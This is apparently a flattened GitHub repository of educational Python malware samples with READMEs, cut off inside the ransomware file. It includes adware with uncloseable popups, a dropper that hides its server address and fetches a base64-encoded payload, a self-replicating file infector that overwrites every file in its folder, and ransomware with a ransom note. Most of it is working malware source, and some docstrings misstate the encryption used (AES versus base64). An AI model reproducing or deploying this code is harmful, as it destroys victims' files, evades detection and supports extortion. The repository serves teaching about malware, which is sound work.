├── LICENSE ├── README.md ├── adware ├── README.md └── adware.py ├── dropper ├── README.md ├── dropper.py └── server.py ├── file_infection ├── README.md ├── infector.py ├── target_file.ext └── target_folder │ └── target_file_2.ext ├── logo.svg ├── ransomware ├── README.md ├── ransomware.py └── target_file.ext ├── requirements.txt ├── setup_env.sh ├── simple_ransomware ├── decrypt.py ├── file1.txt ├── file2.txt ├── file3.txt ├── thekey.key └── voldemort.py ├── spyware ├── README.md └── keylogger.py ├── trojan ├── README.md ├── server.py └── trojan.py └── worm ├── README.md └── worm.py /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2019 Patrik Holop 2 | 3 | Permission is hereby granted, free of charge, to any person 4 | obtaining a copy of this software and associated documentation 5 | files (the "Software"), to deal in the Software without 6 | restriction, including without limitation the rights to use, 7 | copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the 9 | Software is furnished to do so, subject to the following 10 | conditions: 11 | 12 | The above copyright notice and this permission notice shall be 13 | included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 16 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 17 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 18 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 19 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 20 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![license](https://img.shields.io/badge/License-MIT-green) 2 | ![version](https://img.shields.io/badge/Version-1.1-blue) 3 | ![dev](https://img.shields.io/badge/Dev-Python3-brightgreen) 4 | ![types](https://img.shields.io/badge/Malware%20Types-7%20-red) 5 | 6 | # Malware Showcase 7 | 8 | 9 | 10 | **Disclaimer**: This repository is taken with reference from PatrikH0lop/malware_showcase repository with some slight modification on my end as I am exploring to enhance the existing repo. 11 | I do not claim any ownership to this repo, just for educational purposes. 12 | 13 | 14 | This repository contains explanatory examples of malicious behavior like _file infection_ or _remote code execution_. It's supposed to demonstrate and explain 15 | the nature of malicious software with practical examples in Python. 16 | 17 | **Note:** _This repository contains examples of malicious files. It should be used for educational purposes only. Usage of files in this repository for any other purpose might cause you legal issues, even though the provided examples are very simple. It is advised to follow the instructions._ 18 | 19 | ### Showcase structure 20 | 21 | - **File infector** - This kind of malware infects other files. Common example of such behavior is _code injection_. Malicious code is injected into targeted files and might be later executed. This allows the file infectors to spread. The purpose of their payload might differ, from harmless to destructive behavior. 22 | - [Simple file infector in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/file_infection) 23 | - **Trojan (trojan horse)** - This kind of malware tries to look like a legitimate software and the malicious activity is hidden from the victim. Common example of such behaviour is _spying on victims_. Trojans can be more precisely classified by a purpose of the malicious segment. They were named after the Greek story, in which the city of Troy has accepted a statue of wooden horse as a gift from their enemies, while the enemy soldiers were hidden inside. 24 | - [Simple trojan in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/trojan) 25 | - **Worm** - This kind of malware tries to spread on the network and does not need a host file to spread. Worms might contain malicious payload and execute commands on the compromised systems or just consume the network bandwidth to jam the communication. 26 | - [Simple worm in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/worm) 27 | - **Spyware** - This kind of malware tries to spy on the victim and steal his or her data. There exist various ways of spying on the victim, for example scanning the pressed keys on the keyboard. In comparison with the trojan horse, spyware stays often hidden from the sight of the victim. 28 | - [Simple keylogger in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/spyware) 29 | - **Ransomware** - This kind of malware tries to encrypt your files or even restrict your access to the system until a financial ransom is paid. It might continuously remove your files to increase the threat and force you to submit. Ransomwares became very popular in the recent years. 30 | - [Simple ransomware in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/ransomware) 31 | - **Adware** - This kind of malware tries to aggressively show ads to the victims. Usually it is just an annoying software that does not have any harmful intentions. Adware might try various methods to make the advertising more persistent. 32 | - [Simple adware in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/adware) 33 | - **Dropper** - This kind of malware attemps to download or dump malicious code to the target system. The malware can be secretly embedded in the dropper itself or downloaded from a remote server. It often tries to avoid detection by obfuscation and encryption. 34 | - [Simple dropper in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/dropper) 35 | 36 | ### Installation 37 | 38 | Make sure that you have installed [Python3](https://www.python.org/download/), system package `python3-dev` and Python package `wheel`. 39 | ```console 40 | sudo apt install python3-dev 41 | pip3 install wheel 42 | python3 setup.py bdist_wheel # You might need to run this command as well. 43 | ``` 44 | 45 | To setup a virtual environment, run the following command: 46 | ```console 47 | source setup_env.sh 48 | ``` 49 | Or you can install required Python packages listed in `requirements.txt` on your own. 50 | If something goes wrong during the installation, the script should provide you information 51 | about possible failures. You can then focus on the problematic steps in `setup_env.sh` and 52 | fix the problem. 53 | -------------------------------------------------------------------------------- /adware/README.md: -------------------------------------------------------------------------------- 1 | # Adware 2 | 3 | Adware is usually the least harmful type of malware, because it tries to promote some products and force the user to see advertisements in many ways, for example in the web browser every time the user loads a website. Our adware shows three annoying popup windows on the screen promoting various products. 4 | 5 | #### Demonstration of behavior 6 | 7 | We don't need any specific preparation before an execution of the adware (`./adware.py`). Immediately after the execution we can see three popup windows showing advertisements on our screen. This might be annoying and still relatively fine, but when we press the close button on any popup window, nothing happens and the ad is still shown on the screen. 8 | 9 | Creation of basic **adware** is very simple process as it is described below. That's why you should be always cautious when executing uncommon or not trusted files. 10 | 11 | #### How does it work 12 | 13 | - Firstly, we create our **adware** and pass it arguments from the system. Because we need a proper GUI, 14 | we are using Python module called [PySide2](https://pypi.org/project/PySide2/). To learn more about GUI programming, see [the guide to GUI programming in Python](https://wiki.qt.io/Qt_for_Python). Our class **Adware** inherits from the **QApplication** and represents main QT application. 15 | ```python 16 | adware = Adware(sys.argv) 17 | ``` 18 | - We call the method _show_ads()_, which creates dialog popups and pass the references to these forms to variable in main module `windows`. It is important not to loose reference to those windows, because otherwise they will not be shown on the screen. 19 | ```python 20 | windows = adware.show_ads() 21 | ``` 22 | - Our adware has a property **advert_slogans**, which represents a list of ad slogans we want our victim 23 | to see. For each of those slogans we want to create a unique popup window by calling the method _create_ad_window()_. 24 | ```python 25 | ad_windows = [] 26 | for advert in self.advert_slogans: 27 | # Create a new ad window. 28 | ad_window = self.create_ad_window(advert) 29 | ``` 30 | - Because these windows would popup on the same place on the screen and overlap each other, we need to move the created popup windows to random location on the screen. 31 | ```python 32 | # Move this window to random location on screen. 33 | x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600) 34 | ad_window.move(x_coordinate, y_coordinate) 35 | ``` 36 | - To create a popup windows, our function _create_ad_window_ creates a new **AdWindow** with the given slogan. To show the window on the screen, we must call the method _show_. 37 | ```python 38 | window = AdWindow(ad_slogan=ad_slogan) 39 | window.show() 40 | ``` 41 | - The popup window called **AdWindow** inherits from **QDialog** and represents independent window with 42 | layout containing only one label showing the ad. However, to make adware more annoying and show ads more aggressively, we set the window to ignore close signal when the victim presses close button. When this happens, the window obtaines information about a new event called **closeEvent**. We will simply ignore any action so the window stays on the screen. 43 | ``` python 44 | def closeEvent(self, event): 45 | event.ignore() 46 | ``` 47 | -------------------------------------------------------------------------------- /adware/adware.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of simple adware that pops multiple 4 | windows with the advertisements. 5 | """ 6 | 7 | import logging 8 | import sys 9 | import random 10 | 11 | from PySide2.QtWidgets import QApplication, QDialog, QLabel, QVBoxLayout 12 | 13 | 14 | class AdWindow(QDialog): 15 | """ This class represents ad window shown on the screen. """ 16 | 17 | def __init__(self, ad_slogan, parent=None): 18 | super(AdWindow, self).__init__(parent) 19 | self.setWindowTitle("Advertisement!") 20 | 21 | # Create a layout so that the ad slogan is shown. 22 | self.label = QLabel(ad_slogan) 23 | layout = QVBoxLayout() 24 | layout.addWidget(self.label) 25 | 26 | self.setLayout(layout) 27 | 28 | def closeEvent(self, event): 29 | # Ignore the close event so that the ad 30 | # can't be closed by pressing close button. 31 | event.ignore() 32 | 33 | 34 | class Adware(QApplication): 35 | """ This class represents implementation of adware. """ 36 | 37 | def __init__(self, args): 38 | super(Adware, self).__init__(args) 39 | 40 | @property 41 | def advert_slogans(self): 42 | """ Slogans of the promoted adds. """ 43 | return ( 44 | 'Buy the milk in the milk shops!', 45 | 'Buy the clothes in the wool shops!', 46 | 'Buy the food in the food shops!' 47 | ) 48 | 49 | def create_ad_window(self, ad_slogan): 50 | """ Creates a windows showing the advertisement 51 | slogan. 52 | 53 | :param str ad_slogan: Text of the ad. 54 | """ 55 | window = AdWindow(ad_slogan=ad_slogan) 56 | window.show() 57 | return window 58 | 59 | def show_ads(self): 60 | """ Creates the main GUI application and shows 61 | the ads based on `:class:~Adware.advert_slogans` 62 | """ 63 | ad_windows = [] 64 | for advert in self.advert_slogans: 65 | # Create a new ad window. 66 | ad_window = self.create_ad_window(advert) 67 | # Move this window to random location on screen. 68 | x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600) 69 | ad_window.move(x_coordinate, y_coordinate) 70 | ad_windows.append(ad_window) 71 | 72 | return ad_windows 73 | 74 | 75 | if __name__ == '__main__': 76 | logging.basicConfig(level=logging.DEBUG) 77 | 78 | # Create our adware and show the ads. 79 | adware = Adware(sys.argv) 80 | windows = adware.show_ads() 81 | 82 | sys.exit(adware.exec_()) 83 | -------------------------------------------------------------------------------- /dropper/README.md: -------------------------------------------------------------------------------- 1 | # Dropper 2 | 3 | Our **dropper** is implemented in the file `dropper.py`. It tries to download some malicious code from a remote server and ideally avoid any detection. The server is implemented in the file `server.py` and sends the malicious payload to the targeted system as soon as the dropper requests a connection. Received payload is dumped into the file and the malware was successfully delivered. 4 | 5 | #### Demonstration of behavior 6 | 7 | The first thing that the attacker must do is to set up a server that distributes malware to its clients. Therefore, we will set up a running server on our computer by running `./server.py`. You should see the following text: 8 | ``` 9 | DEBUG:user:Server was successfully initialized. 10 | ``` 11 | In the second console, execute the **dropper** as a victim with the command `./dropper.py`. We should immediately see the following text on the attacker's console: 12 | ``` 13 | Connection with dropper established from ('127.0.0.1', 46682) 14 | ``` 15 | and the server shuts down. This means that our client has successfully connected to our server. 16 | 17 | To verify that the dropper has served its purpose, list the directory where the dropper is located and you will see that a new file `malware.py` has been created. For demostration purposes, the "malicious" code is just a simple command to print short text. Execute the file by running `python malware.py`. After doing so, you should see the following text: 18 | ``` 19 | Hello there 20 | ``` 21 | 22 | Creation of basic **dropper** is very simple process as it is described below and anyone can do it just with the basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file. 23 | 24 | #### How does it work? 25 | 26 | ##### Server 27 | 28 | - Firstly, we create our **server** that should send malicious code to a running **dropper** client executed 29 | by the victim. The server will listen on the specific port that must be the same as is the one used by our **dropper**. 30 | In this example, both the **server** and **dropper** will be executed on the same computer, but the 31 | **server** might be remote and located anywhere in the world. 32 | ```python 33 | server = Server(27000) 34 | ``` 35 | Communication is realized via **TCP** protocol specified by `socket.SOCK_STREAM` (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-).
36 | ```python 37 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 38 | ``` 39 | 40 | - Then we need to initialize the server by binding it to the specified port. 41 | ```python 42 | server.initialize() 43 | ``` 44 | - We can observe the malicious command that should be send to the dropper. In this case, it's just a simple command to print some text. 45 | ```python 46 | @property 47 | def malware_code(self): 48 | return b'print("Hello there")' 49 | ``` 50 | - The most important part is the connection with the victim. This is implemented in the _send_malicious_code_ function provided by the **server**. It waits for the connection initiated by the **dropper** after its execution on the victim's system. It then simply sends the payload and terminates the connection. 51 | ```python 52 | with connection: 53 | print('Connection with dropper established from {}'.format(address)) 54 | # Send data to the client and close the server. 55 | encoded_payload = base64.b64encode(self.malicious_code) 56 | connection.send(encoded_payload) 57 | ``` 58 | - The first attempt to prevent detection is coming and it's encryption of the malicious code. What if someone sees everything we send over the network? If so, our malicious code might be detected immediately and communication stopped or the victim will be notified. That's why we use at least some layer of encryption. For demonstration, we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained). 59 | ```python 60 | encoded_payload = base64.b64encode(self.malicious_code) 61 | ``` 62 | 63 | ##### Dropper (client) 64 | 65 | - Firstly, we must initialize our **dropper**. This service requires a name of the host (server) and the 66 | specified port for communication. A host named `localhost` means that the server is listening on the same 67 | system as our client. A second attempt is made to avoid detection. What if someone glanced over the code of our dropper and spots some suspicious address? Or maybe our victim scans the files for possible port numbers and if the number `27000` is displayed, they might suspect something. We have to hide this data somehow, so we pass some innocent looking arguments. 68 | 69 | ```python 70 | dropper = Dropper('tsoh', 'lacol', 729000000) 71 | ``` 72 | - If someone inspects the code, they can see the methods for network communication. However, based on the arguments passed to our dropper it's not clear with whom and which port will be used (maybe `729000000`?). We can construct the necessary connection attributes dynamically during runtime. Method _decode\_hostname_ takes two strings, switches their order and reserses them. From the first two arguments passed to our dropper we suddenly get the string `localhost`. And to get the port, we can simply calculate the square root from the last argument. Easy to do, but harder to detect. 73 | ```python 74 | def decode_hostname(self, str1, str2): 75 | """ Constructs the hostname of remote server. """ 76 | return str2[::-1] + str1[::-1] 77 | 78 | def decode_port(self, port): 79 | """Constructs the port of remote server. """ 80 | return int(math.sqrt(port)) 81 | ``` 82 | 83 | - Now, we try to connect to the server. This connection should remain hidden from the victim. The logged message is presented only so that we can detect any errors in our example. 84 | ```python 85 | try: 86 | self.socket.connect((self.host, self.port)) 87 | except socket.error: 88 | logging.debug('Dropper could not connect to the server.') 89 | return 90 | ``` 91 | 92 | - Then the **dropper** tries to greet the victim as a harmless program. 93 | ```python 94 | # Try to act as an ordinary application. 95 | print( 96 | 'Hello, this is a totally ordinary app. ' 97 | 'I\'m surely not doing anything malicous' 98 | ) 99 | ``` 100 | - In the meantime, the client will try to receive the malicious code from the remote server. Remember that the data are encrypted using Base64, so we have to decode them and we have successfully downloaded the malware. 101 | ```python 102 | # Receive the malicious code in the encrypted form. 103 | command = self.socket.recv(1000) 104 | # Decode the malicious payload and dump it into a file. 105 | decode_payload = base64.b64decode(command) 106 | ``` 107 | - The last thing left is to either execute the retrieved code or simply write it into a file. The payload was successfully delivered to the target system by doing so. 108 | ```python 109 | with open('malware.py', 'wb') as file: 110 | file.write(data) 111 | ``` -------------------------------------------------------------------------------- /dropper/dropper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of dropper that downloads malicious code from the server 4 | and dumps it into a file. 5 | """ 6 | 7 | import base64 8 | import logging 9 | import socket 10 | import math 11 | 12 | 13 | class Dropper: 14 | """ This class represents the implementation of dropper. 15 | """ 16 | 17 | def __init__(self, host1, host2, number): 18 | # Construct hostname of the remote server from the first two 19 | # arguments. 20 | self._host = self.decode_hostname(host1, host2) 21 | # Calculate the port number from the last argument. 22 | self._port = self.decode_port(number) 23 | # Initialize socket for the connection. 24 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | 26 | @property 27 | def host(self): 28 | """ Server that sends us the malicious code. """ 29 | return self._host 30 | 31 | @host.setter 32 | def host(self, new_host): 33 | self._host = new_host 34 | 35 | def decode_hostname(self, str1, str2): 36 | """ Returns hostname of the remote server. """ 37 | return str2[::-1] + str1[::-1] 38 | 39 | @property 40 | def port(self): 41 | """ Port, on which the server runs (`int`). """ 42 | return self._port 43 | 44 | @port.setter 45 | def port(self, new_port): 46 | self._port = new_port 47 | 48 | def decode_port(self, port): 49 | """Returns target port of the remote server. """ 50 | return int(math.sqrt(port)) 51 | 52 | @property 53 | def socket(self): 54 | """ Client socket. """ 55 | return self._socket 56 | 57 | def dump_data(self, data): 58 | """ Write the retrieved data from the server into the file. 59 | """ 60 | with open('malware.py', 'wb') as file: 61 | file.write(data) 62 | 63 | def download_malicious_code(self): 64 | """ Download malicious code from the server. """ 65 | # Create a connection to the server. 66 | try: 67 | self.socket.connect((self.host, self.port)) 68 | except socket.error: 69 | logging.debug('Dropper could not connect to the server.') 70 | return 71 | 72 | # Try to act as an ordinary application. 73 | print( 74 | 'Hello, this is a totally ordinary app. ' 75 | 'I\'m surely not doing anything malicous' 76 | ) 77 | 78 | # Receive the malicious code in the encrypted form. 79 | command = self.socket.recv(1000) 80 | # Decode the command and dump it into a file. 81 | decode_payload = base64.b64decode(command) 82 | self.dump_data(decode_payload) 83 | 84 | 85 | if __name__ == '__main__': 86 | logging.basicConfig(level=logging.DEBUG) 87 | 88 | # Initialize dropper application. 89 | dropper = Dropper('tsoh', 'lacol', 729000000) 90 | # Collect the malicious code and dump it into the file. 91 | dropper.download_malicious_code() 92 | -------------------------------------------------------------------------------- /dropper/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of the server that sends some malicious code to its 4 | dropper client. 5 | """ 6 | 7 | import base64 8 | import logging 9 | import socket 10 | 11 | 12 | class Server: 13 | """ This class represents a server that stores some malicious payload and sends 14 | it to the dropper once the connection is established. 15 | """ 16 | 17 | def __init__(self, port): 18 | self._port = port 19 | # Initialize the socket for connection. 20 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | 22 | @property 23 | def malicious_code(self): 24 | """ Malicious payload. In this case just a demonstrative command. """ 25 | return b'print("Hello there")' 26 | 27 | @property 28 | def port(self): 29 | """ Port, on which the server runs (`int`). """ 30 | return self._port 31 | 32 | @port.setter 33 | def port(self, new_port): 34 | self._port = new_port 35 | 36 | @property 37 | def socket(self): 38 | """ Server socket. """ 39 | return self._socket 40 | 41 | def initialize(self): 42 | """ Initialize server before the session. """ 43 | try: 44 | self.socket.bind(('localhost', self._port)) 45 | self.socket.listen() 46 | logging.debug('Server was successfully initialized.') 47 | except socket.error: 48 | print('Server was not initialized due to an error.') 49 | 50 | def send_malicious_code(self): 51 | """ Send malware to the client once the connection is established. """ 52 | # Establish a connection with the client. 53 | connection, address = self.socket.accept() 54 | with connection: 55 | print('Connection with dropper established from {}'.format(address)) 56 | # Send data to the client and shut down the server. 57 | encoded_payload = base64.b64encode(self.malicious_code) 58 | connection.send(encoded_payload) 59 | 60 | 61 | if __name__ == '__main__': 62 | logging.basicConfig(level=logging.DEBUG) 63 | 64 | # Create and initialize a server running on attacker's side. 65 | server = Server(27000) 66 | server.initialize() 67 | # Send a payload to the dropper client once it establishes a connection. 68 | server.send_malicious_code() 69 | -------------------------------------------------------------------------------- /file_infection/README.md: -------------------------------------------------------------------------------- 1 | # File infection 2 | 3 | Our **file infector** is implemented in the file `infector.py`. It infects all files in the same directory with its own code that allows it to spread in the future. When the targeted file is executed, it should perform the same malicious infection on other files as our own **file infector**. 4 | 5 | #### Demonstration of behavior 6 | 7 | Observe `target_file.ext` before the execution of **file infector**. It is a simple file located in the same directory as our **file infector**. To see the behavior of **file infector**, simply execute it in this folder (```./infector.py```). You should see something like this: 8 | ``` 9 | DEBUG:user:Infecting file: ./target_file.ext 10 | DEBUG:user:Infecting file: ./infector.py 11 | INFO:user:Number of infected files: 1 12 | ``` 13 | Our **file infector** has tried to infect every file in this folder, even itself, but has successfully infected only `target_file.ext` (explained below). Now move the infected file into folder `target_folder/` and execute it the same way as we have executed our **file infector** (`./target_file.ext`). You should see similar information as above but this time we have successfully infected `target_file_2.ext` by using the infected `target_file.ext`. 14 | 15 | Creation of **file infector** is very simple process as it is described below and anyone can do it just with basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file. 16 | 17 | #### How does it work? 18 | 19 | - Firstly, we create our **file infector** and give it a name.
20 | ```python 21 | code_injector = FileInfector('SimpleFileInfector') 22 | ``` 23 | - Then we must **choose a folder** with files we want to infect. We call function *infect_files_in_folder* 24 | that is provided by our **file infector** and pass the path to the folder as an argument. This function 25 | returns the number of infected files.
26 | ```python 27 | number_infected_files = code_injector.infect_files_in_folder(path) 28 | ``` 29 | - The first thing that needs to be done is a lookup for all filenames in the same directory. This implementation ignores _README_ files, because **file infector** would infect this file as well if you execute it. 30 | - The second step is to check whether the file has been already infected. If you run our **file infector** multiple times, you can see that it ignores files that it has already infected. This might be done by using some sort of mark left in the infected file together with injected code. In this case it is a string `INJECTION SIGNATURE` in the module docstring. Our **file infector** reads the content of the targeted file and if it contains this signature, malware continues with other files.
31 | ```python 32 | """ Implementation of file infector in Python. 33 | INJECTION SIGNATURE 34 | """ 35 | ``` 36 | - Because we expect the injected code to be executed, we must be sure that the targeted file has valid permissions for execution. To learn more about permissions, see [the guide to Linux permissions](https://www.linux.com/learn/understanding-linux-file-permissions).
37 | ```python 38 | os.chmod(file, 777) 39 | ``` 40 | - The last step is to write the code of **our own file** into the targeted file. 41 | ```python 42 | with open(file, 'w') as infected_file: 43 | infected_file.write(self.malicious_code) 44 | ``` 45 | - To obtain the **code of our own application**, we can simply read the source file. A name of the file is always passed as the first argument before the execution. We should obtain the name from this argument, because the infected files might have various names and the code should work in all of them. Because _malicious_code_ is a **cached property**, we 46 | would access the source file only once. 47 | ```python 48 | malicious_file = sys.argv[0] 49 | with open(malicious_file, 'r') as file: 50 | malicious_code = file.read() 51 | ``` 52 | 53 | -------------------------------------------------------------------------------- /file_infection/infector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of file infector in Python. 4 | INJECTION SIGNATURE 5 | """ 6 | 7 | import logging 8 | import os 9 | import sys 10 | from cached_property import cached_property 11 | 12 | 13 | class FileInfector: 14 | """ This class represents the code injecting malware. 15 | """ 16 | 17 | def __init__(self, name): 18 | self._name = name 19 | 20 | @property 21 | def name(self): 22 | """ Name of the malware. """ 23 | return self._name 24 | 25 | @name.setter 26 | def name(self, new_name): 27 | self._name = new_name 28 | 29 | @cached_property 30 | def malicious_code(self): 31 | """ Malicious code. In the case of this file 32 | injector it is this whole file. 33 | """ 34 | # Get the name of this file. 35 | malicious_file = sys.argv[0] 36 | with open(malicious_file, 'r') as file: 37 | malicious_code = file.read() 38 | 39 | return malicious_code 40 | 41 | def infect_files_in_folder(self, path): 42 | """ Perform file infection on all files in the 43 | given directory specified by path. 44 | 45 | :param str path: Path of the folder to be infected. 46 | :returns: Number of injected files (`int`). 47 | """ 48 | num_infected_files = 0 49 | # List the directory to get all files. 50 | files = [] 51 | for file in os.listdir(path): 52 | # For the demostration purposes ignore README.md 53 | # from the repository. 54 | if file == 'README.md': 55 | continue 56 | 57 | file_path = os.path.join(path, file) 58 | if os.path.isfile(file_path): 59 | files.append(file_path) 60 | 61 | # Inject each file in the directory. 62 | for file in files: 63 | logging.debug('Infecting file: {}'.format(file)) 64 | 65 | # Read the content of the original file. 66 | with open(file, 'r') as infected_file: 67 | file_content = infected_file.read() 68 | # Check whether the file was already infected by scanning 69 | # the injection signature in this file. If so, skip the file. 70 | if "INJECTION SIGNATURE" in file_content: 71 | continue 72 | 73 | # Ensure that the injected file is executable. 74 | os.chmod(file, 777) 75 | 76 | # Write the original and malicous part into the file. 77 | with open(file, 'w') as infected_file: 78 | infected_file.write(self.malicious_code) 79 | 80 | num_infected_files += 1 81 | 82 | return num_infected_files 83 | 84 | 85 | if __name__ == '__main__': 86 | logging.basicConfig(level=logging.DEBUG) 87 | 88 | # Create file injector. 89 | code_injector = FileInfector('SimpleFileInfector') 90 | 91 | # Infect all files in the same folder. 92 | path = os.path.dirname(os.path.abspath(__file__)) 93 | number_infected_files = code_injector.infect_files_in_folder(path) 94 | 95 | logging.info('Number of infected files: {}'.format(number_infected_files)) 96 | -------------------------------------------------------------------------------- /file_infection/target_file.ext: -------------------------------------------------------------------------------- 1 | Just a normal file. 2 | -------------------------------------------------------------------------------- /file_infection/target_folder/target_file_2.ext: -------------------------------------------------------------------------------- 1 | Just a second normal file. 2 | -------------------------------------------------------------------------------- /logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 18 | 20 | 40 | 42 | Created by potrace 1.15, written by Peter Selinger 2001-2017 43 | 44 | 46 | image/svg+xml 47 | 49 | 50 | 51 | 52 | 58 | 62 | 66 | 70 | 74 | 78 | 82 | 86 | 90 | 94 | 98 | 99 | 106 | 115 | 122 | 129 | 136 | 143 | 150 | 151 | -------------------------------------------------------------------------------- /ransomware/README.md: -------------------------------------------------------------------------------- 1 | # Ransomware 2 | 3 | Our **ransomware** is implemented in the file `ransomware.py`. It encrypts all files in the same directory and shows a ransom message, requesting financial amount of 0.1 USD for user to obtain the key. Once the user provides the correct key, it decrypts those files, otherwise they would stay encrypted. 4 | 5 | #### Demonstration of behavior 6 | 7 | Before the execution of **ransomware** observe `target_file.ext`. It is a simple file located in the same directory as out **ransomware**. To see the behavior of **ransomware**, simple execute it in this folder (`./ransomware`). You should see something like this: 8 | 9 | ``` 10 | DEBUG:root:Encrypting file: malware_showcase/ransomware/target_file.ext 11 | Hi, all your files has been encrypted. Please send 0.1 USD on this address 12 | to get a decryption key: XYZ. 13 | Number of encrypted files: 1 14 | Please enter a key: 15 | ``` 16 | 17 | Now do not type anything, just observe `target_file.ext` in the second terminal. You can see that its original content `Just an ordinary text file.` was encoded to `SnVzdCBhbiBvcmRpbmFyeSB0ZXh0IGZpbGUuCg==` (for the more experienced users it is obvious that it is a simple format of **base64**). However, this **ransomware** assumes that the user does not know the basics of cryptography. Now we have two options as the user. We might guess the key, in which case the program ends and our files stay encrypted, or we "send a payment to the bank address XYZ" and obtain the correct key: 18 | ``` 19 | Please enter a key: __ransomware_key 20 | ``` 21 | This triggers a decryption of data and as we can observe, the content of our file is restored. 22 | 23 | Creation of basic **ransomware** is very simple process as it is described below and anyone can do it just with basics in programming and understandment of encryption. That's why we should be always cautious when we execute any uncommon or not trusted files. 24 | 25 | #### How does it work? 26 | 27 | - Firstly, we create our **ransomware** and give it a name.
28 | ```python 29 | ransomware = Ransomware('SimpleRansomware') 30 | ``` 31 | - Then we must **choose a folder** with files we want to encrypt. We call function *encrypt_files_in_folder* that is provided by our **ransomware** and pass the path to the folder as an argument. This function returns the number encrypted files.
32 | ```python 33 | number_encrypted_files = ransomware.encrypt_files_in_folder(path) 34 | ``` 35 | - The first thing that needs to be done is a lookup for all filenames in the same directory (function _get_files_in_folder(path)_). This implementation ignores _README_ files, because **ransomware** would encrypt also this file as well if you run it. 36 | - Then we can simple encrypt each found file. The process of encryption is described below. 37 | ```python 38 | for file in files: 39 | logging.debug('Encrypting file: {}'.format(file)) 40 | self.encrypt_file(file) 41 | ``` 42 | - The encryption part is the most important. There are many ways of how to encrypt the files. Usually 43 | the encryption key would take a part in encryption as well (with much stronger encryption algorithm), but for demonstration we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained). In this case we load the data from the file, encrypt them to base64 and then write them back to the file. 44 | ```python 45 | # Load the content of file. 46 | with open(filename, 'r') as file: 47 | content = file.read() 48 | # Encrypt the file content with base64. 49 | encrypted_data = base64.b64encode(content.encode('utf-8')) 50 | # Rewrite the file with the encoded content. 51 | with open(filename, 'w') as file: 52 | file.write(encrypted_data.decode('utf-8')) 53 | ``` 54 | - Once all files are encrypted, we can show our ransom message to the user, requesting money for the key. 55 | - The decryption part is very similar to encryption. However, in this case we load the key and compare it with our default key `__ransomware_key`. If they are equal, we simply revert the previously done encryption. If the user enters a different key, the program ends and the files stay encrypted. 56 | ```python 57 | # Obtain a key from the user. 58 | key = self.obtain_key() 59 | if key != self.key: 60 | print('Wrong key!') 61 | return 62 | 63 | files = self.get_files_in_folder(path) 64 | 65 | # Decrypt each file in the directory. 66 | for file in files: 67 | self.decrypt_file(key, file) 68 | ``` 69 | -------------------------------------------------------------------------------- /ransomware/ransomware.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of simple ransomware in Python. 4 | """ 5 | 6 | import logging 7 | import os 8 | import sys 9 | import base64 10 | 11 | 12 | class Ransomware: 13 | """ This class represents file encrypting ransomware. 14 | """ 15 | 16 | def __init__(self, name): 17 | self._name = name 18 | 19 | @property 20 | def name(self): 21 | """ Name of the malware. """ 22 | return self._name 23 | 24 | @name.setter 25 | def name(self, new_name): 26 | self._name = new_name 27 | 28 | @property 29 | def key(self): 30 | """ Key used for encryption of data. """ 31 | return "__ransomware_key" 32 | 33 | def obtain_key(self): 34 | """ Obtain key from a user. """ 35 | return input("Please enter a key: ") 36 | 37 | def ransom_user(self): 38 | """ Inform user about encryption of his files. """ 39 | print( 40 | "Hi, all your files has been encrypted. Please " 41 | "send 0.1 USD on this address to get decryption" 42 | " key: XYZ." 43 | ) 44 | 45 | def encrypt_file(self, filename): 46 | """ Encrypt the given file with AES encryption algoritm. 47 | :param str filename: Name of the file. 48 | """ 49 | # Load the content of file. 50 | with open(filename, 'r') as file: 51 | content = file.read() 52 | # Encrypt the file content with base64. 53 | encrypted_data = base64.b64encode(content.encode('utf-8')) 54 | # Rewrite the file with the encoded content. 55 | with open(filename, 'w') as file: 56 | file.write(encrypted_data.decode('utf-8')) 57 | 58 | def decrypt_file(self, key, filename): 59 | """ Decrypt the given file with AES encryption algoritm. 60 | :param str key: Decryption key. 61 | :param str filename: Name of the file. 62 | """ 63 | # Load the content of file. 64 | with open(filename, 'r') as file: 65 | content = 